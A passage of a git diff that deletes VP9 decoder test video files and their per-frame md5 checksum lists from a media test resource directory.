-3d33f06bac22131f04e3411fc216dc02  vp90-2-02-size-34x64-34x64-0003.i420
-7aea667775077de32250dac25fd24bb3  vp90-2-02-size-34x64-34x64-0004.i420
-43fb534551f153c5e9e60240df0bf3b4  vp90-2-02-size-34x64-34x64-0005.i420
-d42b721aa2242d4258d97f840fdcc901  vp90-2-02-size-34x64-34x64-0006.i420
-e876200d720cbe6e36e0ffb775c5ad6c  vp90-2-02-size-34x64-34x64-0007.i420
-453078449d8701270564086e58a1d69e  vp90-2-02-size-34x64-34x64-0008.i420
-22cb799a817d45a7591489e6faa31cb9  vp90-2-02-size-34x64-34x64-0009.i420
-628dc3f03bf5dd5cae135ad1e4b9ebf7  vp90-2-02-size-34x64-34x64-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_34x66.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_34x66.vp9
deleted file mode 100644
index ca90995..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_34x66.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_34x66_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_34x66_vp9_md5
deleted file mode 100644
index af3cde6..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_34x66_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-bf4e568217906ee4b58dc4707bee8ef6  vp90-2-02-size-34x66-34x66-0001.i420
-f823f8c7b6e47ba43215f3becd35208e  vp90-2-02-size-34x66-34x66-0002.i420
-1d986d65b502e77764428e21e77503a6  vp90-2-02-size-34x66-34x66-0003.i420
-73520382bc54d6aee165402518dd7b5d  vp90-2-02-size-34x66-34x66-0004.i420
-c84e943758f2d7e37126172728838640  vp90-2-02-size-34x66-34x66-0005.i420
-1d4b298da98e4b66b31ad6874f726aa6  vp90-2-02-size-34x66-34x66-0006.i420
-e67748eeb3c818deb8b51d321cd16a9c  vp90-2-02-size-34x66-34x66-0007.i420
-4d1514c63e669261beef9e35b04c241e  vp90-2-02-size-34x66-34x66-0008.i420
-57705e2131e2129efbc68b74a1e0459c  vp90-2-02-size-34x66-34x66-0009.i420
-681acf1b384856d6e544d8e7a79fc628  vp90-2-02-size-34x66-34x66-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_64x08.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_64x08.vp9
deleted file mode 100644
index cfb8189..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_64x08.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_64x08_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_64x08_vp9_md5
deleted file mode 100644
index 0b40ce8..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_64x08_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-d801797c94039b0a166d46e151ec912c  vp90-2-02-size-64x08-64x8-0001.i420
-161ec22caa3689b214d9ab993424584b  vp90-2-02-size-64x08-64x8-0002.i420
-499b589ecf1873e388c256ce948eabb9  vp90-2-02-size-64x08-64x8-0003.i420
-22bc77650e3df70e3e36f2a1b8d8aa71  vp90-2-02-size-64x08-64x8-0004.i420
-750e40530257a68211596a60de18bffa  vp90-2-02-size-64x08-64x8-0005.i420
-4f812a92157e7186642656b59bc28a3d  vp90-2-02-size-64x08-64x8-0006.i420
-a3f141cec127a2c2e16740b8dd4ce56a  vp90-2-02-size-64x08-64x8-0007.i420
-a5ba9959bf65ab6e254e5b359a3d59b5  vp90-2-02-size-64x08-64x8-0008.i420
-baa72b8a57277d9e9ad4b92aab04f5d1  vp90-2-02-size-64x08-64x8-0009.i420
-4cb9aebb6c9d5bd164461726de201549  vp90-2-02-size-64x08-64x8-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_64x10.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_64x10.vp9
deleted file mode 100644
index 243962a..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_64x10.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_64x10_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_64x10_vp9_md5
deleted file mode 100644
index acd1ed1..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_64x10_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-97eb5fd0599d482662eb0a1def5c5ef2  vp90-2-02-size-64x10-64x10-0001.i420
-dfdc1b61b478dcca8d411021486aa2ec  vp90-2-02-size-64x10-64x10-0002.i420
-2cf560f068bdcb9e345951739091808e  vp90-2-02-size-64x10-64x10-0003.i420
-33cacb04c0797fc7bd774251e04b7fb9  vp90-2-02-size-64x10-64x10-0004.i420
-7fca126c0542c0dcdcf769b156bd85f5  vp90-2-02-size-64x10-64x10-0005.i420
-8a46c5a48cb5bd34be8e647c127f8d61  vp90-2-02-size-64x10-64x10-0006.i420
-1ddf07562c0b7dc68ed61b8e1a09fcf0  vp90-2-02-size-64x10-64x10-0007.i420
-d75911d5eb7fc75ffc3ee40344fc7ed2  vp90-2-02-size-64x10-64x10-0008.i420
-498329c8a01d950286af11e1fcf3ac07  vp90-2-02-size-64x10-64x10-0009.i420
-7a6ec019df5f3e419d389699094f87c3  vp90-2-02-size-64x10-64x10-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_64x16.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_64x16.vp9
deleted file mode 100644
index 28663da..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_64x16.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_64x16_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_64x16_vp9_md5
deleted file mode 100644
index dd67756..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_64x16_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-a43068a364cc42619e62406dcf17ddfc  vp90-2-02-size-64x16-64x16-0001.i420
-94691f93299bbf5b6ba3022b02b3e069  vp90-2-02-size-64x16-64x16-0002.i420
-3c8fc275490b4daf63ef6d8f9b7f81f6  vp90-2-02-size-64x16-64x16-0003.i420
-96c06031f0fcad49dfed256c5c737d07  vp90-2-02-size-64x16-64x16-0004.i420
-f722d3a51790b55d070d57d3b9a53d0d  vp90-2-02-size-64x16-64x16-0005.i420
-a753b3dfe13f5778f9f054e73e512ef1  vp90-2-02-size-64x16-64x16-0006.i420
-fa12cbe6cbc38fa8a38ecbcf1af8833c  vp90-2-02-size-64x16-64x16-0007.i420
-cb42303391ef6f76f77d14d2600cce12  vp90-2-02-size-64x16-64x16-0008.i420
-e0c18bb1d4dcc8168b5fdd7c7963987e  vp90-2-02-size-64x16-64x16-0009.i420
-581b5291cb60e50326c0dfa6a2d09d8a  vp90-2-02-size-64x16-64x16-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_64x18.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_64x18.vp9
deleted file mode 100644
index 9fb5e37..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_64x18.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_64x18_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_64x18_vp9_md5
deleted file mode 100644
index 4a01c17..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_64x18_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-adf7e84a351847683f6a8dd177019e29  vp90-2-02-size-64x18-64x18-0001.i420
-8227cf283a27277fbab3d7826e340337  vp90-2-02-size-64x18-64x18-0002.i420
-a5551b16db948e395537310d12128e76  vp90-2-02-size-64x18-64x18-0003.i420
-4b57ed07dbc15de9ab6143656b2a7e8e  vp90-2-02-size-64x18-64x18-0004.i420
-a15489495f0acc41f446e9689e4142d6  vp90-2-02-size-64x18-64x18-0005.i420
-b0a0d5d3ff756e8ae19797455432755c  vp90-2-02-size-64x18-64x18-0006.i420
-094a440243d36edcdd3e9d0d070de011  vp90-2-02-size-64x18-64x18-0007.i420
-a780bd61e1abbfbb28581784531608bd  vp90-2-02-size-64x18-64x18-0008.i420
-55886a8c7aad65683aa9366a38382512  vp90-2-02-size-64x18-64x18-0009.i420
-5ae5b24383f66720a62ed1001664051f  vp90-2-02-size-64x18-64x18-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_64x32.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_64x32.vp9
deleted file mode 100644
index c80dcf2..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_64x32.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_64x32_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_64x32_vp9_md5
deleted file mode 100644
index 15e0b11..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_64x32_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-931ab6a2482c3e84bc7ef8dfbc251307  vp90-2-02-size-64x32-64x32-0001.i420
-3552a9d8470a64ed627a6dbb799b7811  vp90-2-02-size-64x32-64x32-0002.i420
-cae1863fc606a0e3df3e708b7eefdf99  vp90-2-02-size-64x32-64x32-0003.i420
-4b825a07e235c4708b12a726da8e4cdf  vp90-2-02-size-64x32-64x32-0004.i420
-0dac578ef616a13be2b9db3c0d775524  vp90-2-02-size-64x32-64x32-0005.i420
-bfd47cbab8285f301777351c8bc5553c  vp90-2-02-size-64x32-64x32-0006.i420
-f29f9a0cfeaaae3bdeb26933bc7c17dc  vp90-2-02-size-64x32-64x32-0007.i420
-c7f3a4d24dcf72ef195a402eff77d8f6  vp90-2-02-size-64x32-64x32-0008.i420
-88ede6207441a7953cf893032c353663  vp90-2-02-size-64x32-64x32-0009.i420
-258f4e86541813e3edb1fe5332ff4ab1  vp90-2-02-size-64x32-64x32-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_64x34.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_64x34.vp9
deleted file mode 100644
index ddd6d64..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_64x34.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_64x34_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_64x34_vp9_md5
deleted file mode 100644
index 2727525..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_64x34_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-68d00958a78e6252dd75d632806e2022  vp90-2-02-size-64x34-64x34-0001.i420
-f7b6266e74200a669eecd241db787ee2  vp90-2-02-size-64x34-64x34-0002.i420
-c8b88d43aee037857310edeb74bc66f4  vp90-2-02-size-64x34-64x34-0003.i420
-c6d9a52baf3ca962574bff1364fcb8dc  vp90-2-02-size-64x34-64x34-0004.i420
-b384fbf3ceef0affa69f5e81681edc6e  vp90-2-02-size-64x34-64x34-0005.i420
-cd473f0c8d1cde98153402123a3ee7cf  vp90-2-02-size-64x34-64x34-0006.i420
-c0f320a23c3e39719a3b3590fe3c2ab5  vp90-2-02-size-64x34-64x34-0007.i420
-751207d15a791728c1022f711a25cd68  vp90-2-02-size-64x34-64x34-0008.i420
-7396df89a0d88044cf7527420d193636  vp90-2-02-size-64x34-64x34-0009.i420
-b772dd247838b0c3ed12713447894323  vp90-2-02-size-64x34-64x34-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_64x64.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_64x64.vp9
deleted file mode 100644
index af3b43d..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_64x64.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_64x64_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_64x64_vp9_md5
deleted file mode 100644
index 9733f63..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_64x64_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-35f17db9076fa20368fddfa01543c746  vp90-2-02-size-64x64-64x64-0001.i420
-61cd775dfc177262da9a91d3912e6718  vp90-2-02-size-64x64-64x64-0002.i420
-8b8cf175f91425d703332b22b46c1c0e  vp90-2-02-size-64x64-64x64-0003.i420
-6041afbdd81e228f8f16384d3f9e988e  vp90-2-02-size-64x64-64x64-0004.i420
-d30bd08897b50f518920014c7fa55df9  vp90-2-02-size-64x64-64x64-0005.i420
-fb67222a183876b502f93e48bb779b70  vp90-2-02-size-64x64-64x64-0006.i420
-60830425ca1dcf3df4ee9c6cd75f066a  vp90-2-02-size-64x64-64x64-0007.i420
-3e178df858f7fcaa2552a1c5c719b5cc  vp90-2-02-size-64x64-64x64-0008.i420
-66718eb0c3981beb7c1119df8a2cd27e  vp90-2-02-size-64x64-64x64-0009.i420
-7c1912448c7756f7451888050760d73d  vp90-2-02-size-64x64-64x64-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_64x66.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_64x66.vp9
deleted file mode 100644
index eecb1c0..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_64x66.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_64x66_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_64x66_vp9_md5
deleted file mode 100644
index 1c4d7e9..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_64x66_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-88587de65acfc85ff56daac8ef5d12e6  vp90-2-02-size-64x66-64x66-0001.i420
-be41f6c788b929b5b6b27c5674f40abd  vp90-2-02-size-64x66-64x66-0002.i420
-04ab3f88ca062a6911405fd84c7e9de4  vp90-2-02-size-64x66-64x66-0003.i420
-231436e0a68d19d3882f285d38aca3fb  vp90-2-02-size-64x66-64x66-0004.i420
-1a067e147a6740bb4ce57c4184437eea  vp90-2-02-size-64x66-64x66-0005.i420
-be0c47e06c7e9439570473adf4713f5f  vp90-2-02-size-64x66-64x66-0006.i420
-a213b0611247eafab0711748c25e88a0  vp90-2-02-size-64x66-64x66-0007.i420
-b1df495aa3afb74399f91c74b527b93c  vp90-2-02-size-64x66-64x66-0008.i420
-46319f21069541e1ee1652621b957860  vp90-2-02-size-64x66-64x66-0009.i420
-313517a5721b2b14683e7eefc83e51b1  vp90-2-02-size-64x66-64x66-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_66x08.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_66x08.vp9
deleted file mode 100644
index 3b05d4f..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_66x08.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_66x08_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_66x08_vp9_md5
deleted file mode 100644
index 1879fe4..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_66x08_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-3b16847e60786706fc339abc452746ff  vp90-2-02-size-66x08-66x8-0001.i420
-365a5951cb127d6df183fe5d5000f493  vp90-2-02-size-66x08-66x8-0002.i420
-6d4bceb815ca7717c4a3f86a6670703a  vp90-2-02-size-66x08-66x8-0003.i420
-5a0a03d4788934285448c85788ae8d71  vp90-2-02-size-66x08-66x8-0004.i420
-8712f9a82d07447e7a0d0a37ddc3858d  vp90-2-02-size-66x08-66x8-0005.i420
-cff32e6c183c16962207a86d7c6cf0a0  vp90-2-02-size-66x08-66x8-0006.i420
-dc933d90f87110651d7efb39854d3d46  vp90-2-02-size-66x08-66x8-0007.i420
-d1299562a022521f0c3cb30668f83b6d  vp90-2-02-size-66x08-66x8-0008.i420
-5054254ca125d7c7e6df4001397170cd  vp90-2-02-size-66x08-66x8-0009.i420
-a6bd7c7c0b02afa8d25f911ec847c61a  vp90-2-02-size-66x08-66x8-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_66x10.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_66x10.vp9
deleted file mode 100644
index 32c62e4..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_66x10.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_66x10_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_66x10_vp9_md5
deleted file mode 100644
index 56a9c16..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_66x10_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-7cbd8c6b2fb35c0c3063cb7a379944c9  vp90-2-02-size-66x10-66x10-0001.i420
-14062e74b98bed1ca982f408bc14326c  vp90-2-02-size-66x10-66x10-0002.i420
-f6d6868d849aa74b27df1c5f40c7096e  vp90-2-02-size-66x10-66x10-0003.i420
-719c8d7e3769466ee8e3dca3f4747a0e  vp90-2-02-size-66x10-66x10-0004.i420
-a72e1a7a4c82ec09ea77f87b0e6f25aa  vp90-2-02-size-66x10-66x10-0005.i420
-a5163d142b429afa155cc2f1401a0b8a  vp90-2-02-size-66x10-66x10-0006.i420
-27762d813dd1f80d6aaed5f197124fa5  vp90-2-02-size-66x10-66x10-0007.i420
-02e94454660f3528abbde8f50e94288f  vp90-2-02-size-66x10-66x10-0008.i420
-1d57dcfa57a55d96f14cfe471aac2e0b  vp90-2-02-size-66x10-66x10-0009.i420
-7804477923c0cd067bd09ebca3529775  vp90-2-02-size-66x10-66x10-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_66x16.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_66x16.vp9
deleted file mode 100644
index 6a0d1ac..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_66x16.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_66x16_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_66x16_vp9_md5
deleted file mode 100644
index 2aae0a2..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_66x16_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-fa2f292d273c37dc2804a70d1cae1e9d  vp90-2-02-size-66x16-66x16-0001.i420
-ba75d90652c021bc7ca061352e6e94ce  vp90-2-02-size-66x16-66x16-0002.i420
-e65d9a205bd17d100e50c7b6a7ea772d  vp90-2-02-size-66x16-66x16-0003.i420
-46f9e9ff891576b9462f21d48b7b9e2b  vp90-2-02-size-66x16-66x16-0004.i420
-d23cedacf3a37cf6b2774e0b18b6b9d7  vp90-2-02-size-66x16-66x16-0005.i420
-84329f7716a6db5a7e64a68a1155bfc6  vp90-2-02-size-66x16-66x16-0006.i420
-ad62286b0e13f4e54df4445cdd4fd4e3  vp90-2-02-size-66x16-66x16-0007.i420
-4511529eb24b21eb63e280070f888642  vp90-2-02-size-66x16-66x16-0008.i420
-4e1c122df1785e0e9134c43c85082e05  vp90-2-02-size-66x16-66x16-0009.i420
-ac3a3747a00be3f9f58155648fcf9b24  vp90-2-02-size-66x16-66x16-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_66x18.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_66x18.vp9
deleted file mode 100644
index e2535f0..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_66x18.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_66x18_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_66x18_vp9_md5
deleted file mode 100644
index 05e3eaf..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_66x18_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-fda5ad9bf70a51b3a41bdcabf2cce32a  vp90-2-02-size-66x18-66x18-0001.i420
-91916fb20ad542a7a3ad276e6505f9b0  vp90-2-02-size-66x18-66x18-0002.i420
-e18e5d11aec483c76afd68f7e64415a4  vp90-2-02-size-66x18-66x18-0003.i420
-c13da01c2b6c09101bda7af93ad5fd07  vp90-2-02-size-66x18-66x18-0004.i420
-ed8d2568b2ad9c7bd980cba0d3b95cff  vp90-2-02-size-66x18-66x18-0005.i420
-e6f3cf312b69d37579e77f2e52cc936b  vp90-2-02-size-66x18-66x18-0006.i420
-e509f3682e9c4bcdb0889e044b1979b7  vp90-2-02-size-66x18-66x18-0007.i420
-acc3945e557cd7a9642f08a656444976  vp90-2-02-size-66x18-66x18-0008.i420
-44ddd03aa8f03ba393f12fc6a1b3fc17  vp90-2-02-size-66x18-66x18-0009.i420
-fdd3e68132c742d9f0cf0ea6fff2a074  vp90-2-02-size-66x18-66x18-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_66x32.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_66x32.vp9
deleted file mode 100644
index 445d975..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_66x32.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_66x32_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_66x32_vp9_md5
deleted file mode 100644
index 996f32b..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_66x32_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-013cd22aea6bfeccc8ec809abd52be5c  vp90-2-02-size-66x32-66x32-0001.i420
-0980adfb0ef879b3c960797272f025ad  vp90-2-02-size-66x32-66x32-0002.i420
-d1411ffa0429befb8c71d3ab45acee92  vp90-2-02-size-66x32-66x32-0003.i420
-6c6f825379eaf21709a45be77def7a63  vp90-2-02-size-66x32-66x32-0004.i420
-bab632ef00a080739a41c692f2b21c3a  vp90-2-02-size-66x32-66x32-0005.i420
-fc0f6045aca252f2e904730227b8f337  vp90-2-02-size-66x32-66x32-0006.i420
-c8dbea209329463bfd9238a11b8d5b17  vp90-2-02-size-66x32-66x32-0007.i420
-457247bf4186ed8459e0a1564f0e68f2  vp90-2-02-size-66x32-66x32-0008.i420
-baa55e20bd7c73960b080d8a0c8db4d5  vp90-2-02-size-66x32-66x32-0009.i420
-dc8933e8edc98cd0cfca44ae22997c62  vp90-2-02-size-66x32-66x32-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_66x34.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_66x34.vp9
deleted file mode 100644
index 8705e9f..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_66x34.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_66x34_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_66x34_vp9_md5
deleted file mode 100644
index ca0e251..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_66x34_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-6821eb3fcd1d10db32eff70468dcf9c1  vp90-2-02-size-66x34-66x34-0001.i420
-ed0094d347d9f250d46b4903cbc14801  vp90-2-02-size-66x34-66x34-0002.i420
-fd018555dc9a62b8074d46e7c0fd0b40  vp90-2-02-size-66x34-66x34-0003.i420
-05d5baf9f2e62bbeeb3809a099e84147  vp90-2-02-size-66x34-66x34-0004.i420
-7a150c265214269c08e05fe4f296122d  vp90-2-02-size-66x34-66x34-0005.i420
-9a7ae61d4bb125ee4c4ccce9cc1c3664  vp90-2-02-size-66x34-66x34-0006.i420
-5a88fd6d96dcbc4255e98dfe19ff96b8  vp90-2-02-size-66x34-66x34-0007.i420
-4192c273a46b2b196c871ead0e61ec71  vp90-2-02-size-66x34-66x34-0008.i420
-e79ebfc47e755f5db221f392c3216278  vp90-2-02-size-66x34-66x34-0009.i420
-b995c5f483a2e553baf4f66d1a47fc57  vp90-2-02-size-66x34-66x34-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_66x64.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_66x64.vp9
deleted file mode 100644
index c91df34..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_66x64.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_66x64_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_66x64_vp9_md5
deleted file mode 100644
index 9802722..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_66x64_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-929086fbb3e117bd53110b64c1ee915b  vp90-2-02-size-66x64-66x64-0001.i420
-9ed45f5e40dd2393434e14a0c0160c63  vp90-2-02-size-66x64-66x64-0002.i420
-5cdade692b1baf23e61896da18e3e44f  vp90-2-02-size-66x64-66x64-0003.i420
-11a2ebac61a3f826ec41c8031899e55c  vp90-2-02-size-66x64-66x64-0004.i420
-621a1e0142b94d14db9c2121553a11fb  vp90-2-02-size-66x64-66x64-0005.i420
-029a29590f7255f1bc9ff9b7a000ca25  vp90-2-02-size-66x64-66x64-0006.i420
-5fde42becf6bf054d04e2a0fa1b2d55e  vp90-2-02-size-66x64-66x64-0007.i420
-5b8ba552cef1931e1412fb4f3420748b  vp90-2-02-size-66x64-66x64-0008.i420
-d41cd7d418f6ec1db802a01a90cfee1e  vp90-2-02-size-66x64-66x64-0009.i420
-cea99c93a84a82edff8c6069d131453f  vp90-2-02-size-66x64-66x64-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_66x66.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_66x66.vp9
deleted file mode 100644
index e50c30a..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_66x66.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_66x66_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_66x66_vp9_md5
deleted file mode 100644
index 4cf3ed2..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_66x66_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-69f9028d52f95d2e7f986c57b19fc018  vp90-2-02-size-66x66-66x66-0001.i420
-068e611f62b3f6222f6b1699748c8fbf  vp90-2-02-size-66x66-66x66-0002.i420
-3d3fec78ff2274241a7958f17a773a19  vp90-2-02-size-66x66-66x66-0003.i420
-93d71ef1a2d00c7e70e76ccc1859143d  vp90-2-02-size-66x66-66x66-0004.i420
-5a35a640d52bc0930825b963b0b9e830  vp90-2-02-size-66x66-66x66-0005.i420
-782223239e6b1ca1bedbd25d9652a07c  vp90-2-02-size-66x66-66x66-0006.i420
-a4b5e8a319cbc9a12d3e36127c7f0fbb  vp90-2-02-size-66x66-66x66-0007.i420
-a3e2d9a78fa42b3c817aadfd31fd2d16  vp90-2-02-size-66x66-66x66-0008.i420
-e9fc6b83535735f46006f3e4b376755f  vp90-2-02-size-66x66-66x66-0009.i420
-80223f600dfe86021bd0e83fecdc4b2b  vp90-2-02-size-66x66-66x66-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_lf_1920x1080_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_lf_1920x1080_vp9_md5
deleted file mode 100644
index 557ac7a..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_lf_1920x1080_vp9_md5
+++ /dev/null
@@ -1,217 +0,0 @@
-3fb5a1b268b017332fda7fa981032c2c  vp90-2-02-size-lf-1920x1080-1920x1080-0001.i420
-7380f42c862bb0418274010f71f8291f  vp90-2-02-size-lf-1920x1080-1920x1080-0002.i420
-1931968e92c34f693582d1ae28e7a145  vp90-2-02-size-lf-1920x1080-1920x1080-0003.i420
-40606221248726f3412d8e08e489a94f  vp90-2-02-size-lf-1920x1080-1920x1080-0004.i420
-5ecd3fd1d4b607e3d84fb597a948d84b  vp90-2-02-size-lf-1920x1080-1920x1080-0005.i420
-db805d6f9289f1525c4ea594bf323fdc  vp90-2-02-size-lf-1920x1080-1920x1080-0006.i420
-7584c857279bfcf6e5e1e29557c2a6f0  vp90-2-02-size-lf-1920x1080-1920x1080-0007.i420
-bf436864c58c4d2db1d9b31ce06a8f70  vp90-2-02-size-lf-1920x1080-1920x1080-0008.i420
-9712ccf78bcddc0c44c221c2767e1f28  vp90-2-02-size-lf-1920x1080-1920x1080-0009.i420
-3071176342e59678d99dd8686336e476  vp90-2-02-size-lf-1920x1080-1920x1080-0010.i420
-92cfa56092e8e4d5269de441d31ec739  vp90-2-02-size-lf-1920x1080-1920x1080-0011.i420
-d0bc77ad1997bc38f312846a40d11a16  vp90-2-02-size-lf-1920x1080-1920x1080-0012.i420
-c656c39e3527eee973033b42d4b9deef  vp90-2-02-size-lf-1920x1080-1920x1080-0013.i420
-725ccfe5d0736997aa78f7d948692cdb  vp90-2-02-size-lf-1920x1080-1920x1080-0014.i420
-51f2245ebc2da1e3bdd0708e9d18e1eb  vp90-2-02-size-lf-1920x1080-1920x1080-0015.i420
-530c48d99fad9cddad22ee67ba4fd4d4  vp90-2-02-size-lf-1920x1080-1920x1080-0016.i420
-d55a6ebe71df8d47ac0f2b2f243f740a  vp90-2-02-size-lf-1920x1080-1920x1080-0017.i420
-aa84ff7d5dc665441376f8a75bd9bf05  vp90-2-02-size-lf-1920x1080-1920x1080-0018.i420
-70459811c09abf51e7e421656bff1939  vp90-2-02-size-lf-1920x1080-1920x1080-0019.i420
-bb69e3d69ef55a6d19506dd556168901  vp90-2-02-size-lf-1920x1080-1920x1080-0020.i420
-4f1daad761f0949509ffd9873ca03cd4  vp90-2-02-size-lf-1920x1080-1920x1080-0021.i420
-37a037e9de60b411701fda7706db37d6  vp90-2-02-size-lf-1920x1080-1920x1080-0022.i420
-09869838e806717791fe867b018d18ff  vp90-2-02-size-lf-1920x1080-1920x1080-0023.i420
-367385d264306ddd25231bb9f8681160  vp90-2-02-size-lf-1920x1080-1920x1080-0024.i420
